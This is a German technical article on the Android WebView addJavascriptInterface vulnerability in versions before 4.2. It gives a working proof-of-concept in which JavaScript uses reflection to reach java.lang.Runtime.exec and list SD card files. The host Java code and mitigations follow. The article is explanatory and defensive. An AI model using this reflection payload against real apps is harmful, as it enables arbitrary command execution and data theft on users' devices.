
Android 3.0 through 4.1.x on Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank, and other devices does not properly implement the WebView class, which allows remote attackers to execute arbitrary methods of Java objects or cause a denial of service (reboot) via a crafted web page, as demonstrated by use of the WebView.addJavascriptInterface method, a related issue to CVE-2012-6636.
Häufig wird WebView verwendet, um eine Webseite anzuzeigen. Viele Anwendungen nutzen dies beispielsweise, um die Serversteuerung zu ermöglichen. Viele Ergebnis-Seiten sind Webseiten statt lokaler Implementierungen, was viele Vorteile bietet, z. B. dass bei Schnittstellenänderungen keine neue Version veröffentlicht werden muss, sondern direkt server-seitig geändert werden kann. Bei der Anzeige von Oberflächen über Webseiten gibt es meist eine mehr oder weniger starke Interaktion mit dem Java-Code, z. B. wenn wir einen Button-Klick auf einer Webseite erkennen müssen oder eine Methode aufrufen, um die Seite zu einer Aktion zu bewegen. Um diese Interaktionen zu erreichen, verwenden wir normalerweise JS. WebView bietet eine solche Methode. Die genaue Verwendung ist wie folgt:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
Wir bitten WebView, ein Objekt mit dem Namen "jsInterface" zu registrieren. Danach kann in JS auf das jsInterface-Objekt zugegriffen werden, um einige Methoden des Objekts aufzurufen, die letztendlich Java-Code aufrufen. So wird die Interaktion von JS und Java-Code realisiert. Schauen wir uns gemeinsam die Beschreibung der addJavascriptInterface-Methode auf der Android-Website an:
Diese Methode kann verwendet werden, um JavaScript die Steuerung der Host-Anwendung zu ermöglichen. Dies ist eine leistungsstarke Funktion, stellt aber auch ein Sicherheitsrisiko für Anwendungen dar, die auf API-Level JELLYBEAN oder darunter abzielen, da JavaScript über Reflection auf öffentliche Felder eines injizierten Objekts zugreifen könnte. Die Verwendung dieser Methode in einem WebView mit nicht vertrauenswürdigem Inhalt könnte es einem Angreifer ermöglichen, die Host-Anwendung auf unbeabsichtigte Weise zu manipulieren und Java-Code mit den Berechtigungen der Host-Anwendung auszuführen. Seien Sie äußerst vorsichtig bei der Verwendung dieser Methode in einem WebView, der nicht vertrauenswürdige Inhalte enthalten könnte.
JavaScript interagiert mit Java-Objekten in einem privaten, Hintergrund-Thread dieses WebViews. Daher ist die Gewährleistung der Thread-Sicherheit erforderlich. Die Felder des Java-Objekts sind nicht zugänglich.
Einfach ausgedrückt: Die Verwendung von addJavascriptInterface kann zu Unsicherheit führen, da JS möglicherweise bösartigen Code enthält. Diese Schwachstelle ist es, die wir heute besprechen möchten: Wenn JS bösartigen Code enthält, kann er alles tun.
Über JavaScript kann auf die SD-Karte des Geräts und sogar auf Kontaktinformationen, SMS usw. zugegriffen werden. Das ist ärgerlich, sagt der Quack.
WebView fügt ein JavaScript-Objekt hinzu, und die aktuelle Anwendung hat Lese- und Schreibberechtigungen für die SDCard, oder: android.permission.WRITE_EXTERNAL_STORAGE
Über das window-Objekt kann in JS die "getClass"-Methode des Objekts gefunden werden. Dann wird über den Reflektionsmechanismus das Runtime-Objekt abgerufen, woraufhin statische Methoden aufgerufen werden, um einige Befehle auszuführen, z. B. den Befehl zum Zugriff auf Dateien.
Die Zeichenfolge, die aus dem Ausführungsbefehl-Eingabestrom zurückgegeben wird, kann die Informationen des Dateinamens liefern. Dann können Sie tun, was Sie wollen – ein hohes Risiko. Der Kern-JS-Code sieht wie folgt aus:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
Um diese Schwachstelle zu beweisen, lade ich lediglich eine lokale Webseite mit bösartigem JS-Code. Der HTML-Code ist wie folgt:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
execute()-Methode. Sie durchläuft alle window-Objekte, findet ein Objekt mit einer getClass-Methode, verwendet dieses Objekt, um das java.lang.Runtime-Objekt zu finden, ruft dann die statische Methode "getRuntime" auf, um eine Runtime-Instanz zu erhalten, und ruft dann die Methode exec() auf, um einen Befehl auszuführen.getContents()-Methode liest aus dem Stream und zeigt ihn in der Oberfläche an.return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Der Java-Code ist wie folgt:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
Es müssen Berechtigungen hinzugefügt werden:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
System Android 4.2 oder höher In Android 4.2 oder höher wurde von Google eine Änderung vorgenommen. Java-Remote-Methoden müssen mit @JavascriptInterface annotiert werden, wie im folgenden Code:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
System Android 4.2 und niedriger
Dieses Problem ist schwer zu lösen, eigentlich sogar nicht lösbar.
Zunächst einmal sollte die Methode addJavascriptInterface nicht aufgerufen werden. Bei diesem Problem geht es im Kern darum, die JS-Ereignis-Aktion zu kennen. Wir wissen, dass es mehrere Möglichkeiten gibt, wie JS mit Java interagiert. Beispielsweise lösen prompt, alert usw. eine Aktion in WebChromeClient aus. Für prompt korrespondiert die Methode onJsPrompt. Die Methodendeklaration lautet wie folgt:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
Über diese Methode kann JS Informationen (Text) an Java übertragen, und Java kann auch Informationen (Text) an JS senden.